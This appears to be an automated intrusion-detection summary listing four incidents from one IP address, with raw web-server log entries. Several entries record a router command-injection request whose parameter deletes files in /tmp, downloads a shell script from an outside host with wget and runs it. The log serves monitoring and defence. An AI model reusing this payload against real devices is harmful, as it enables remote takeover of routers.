Summary: 4 incidents discovered from one client

	185.224.128.191 | 4 incidents | impact ∑: 68	attacks only
	Description: A random scan and human attacker yesterday. A total of 4 incidents where discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 0 none - 185.224.128.191 - - Sat, 13 Jan 2024 03:57:26 +0100 GET / HTTP/1.1 302 403 - - 17 dt id lfi xss csrf rfe - 185.224.128.191 - - Sat, 13 Jan 2024 07:31:43 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd /tmp; rm -rf *; wget http://104.168.5.4/tenda.sh; chmod 777 tenda.sh; ./tenda.sh) HTTP/1.1 302 851 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246 17 dt id lfi xss csrf rfe - 185.224.128.191 - - Sat, 13 Jan 2024 07:31:43 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd /tmp; rm -rf *; wget http://104.168.5.4/tenda.sh; chmod 777 tenda.sh; ./tenda.sh) HTTP/1.1 302 850 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246 0 none - 185.224.128.191 - - Sat, 13 Jan 2024 18:43:17 +0100 GET / HTTP/1.1 302 403 - - 17 dt id lfi xss csrf rfe - 185.224.128.191 - - Sat, 13 Jan 2024 19:42:49 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd /tmp; rm -rf *; wget http://104.168.5.4/tenda.sh; chmod 777 tenda.sh; ./tenda.sh) HTTP/1.1 302 851 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 17 dt id lfi xss csrf rfe - 185.224.128.191 - - Sat, 13 Jan 2024 19:42:49 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd /tmp; rm -rf *; wget http://104.168.5.4/tenda.sh; chmod 777 tenda.sh; ./tenda.sh) HTTP/1.1 302 850 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36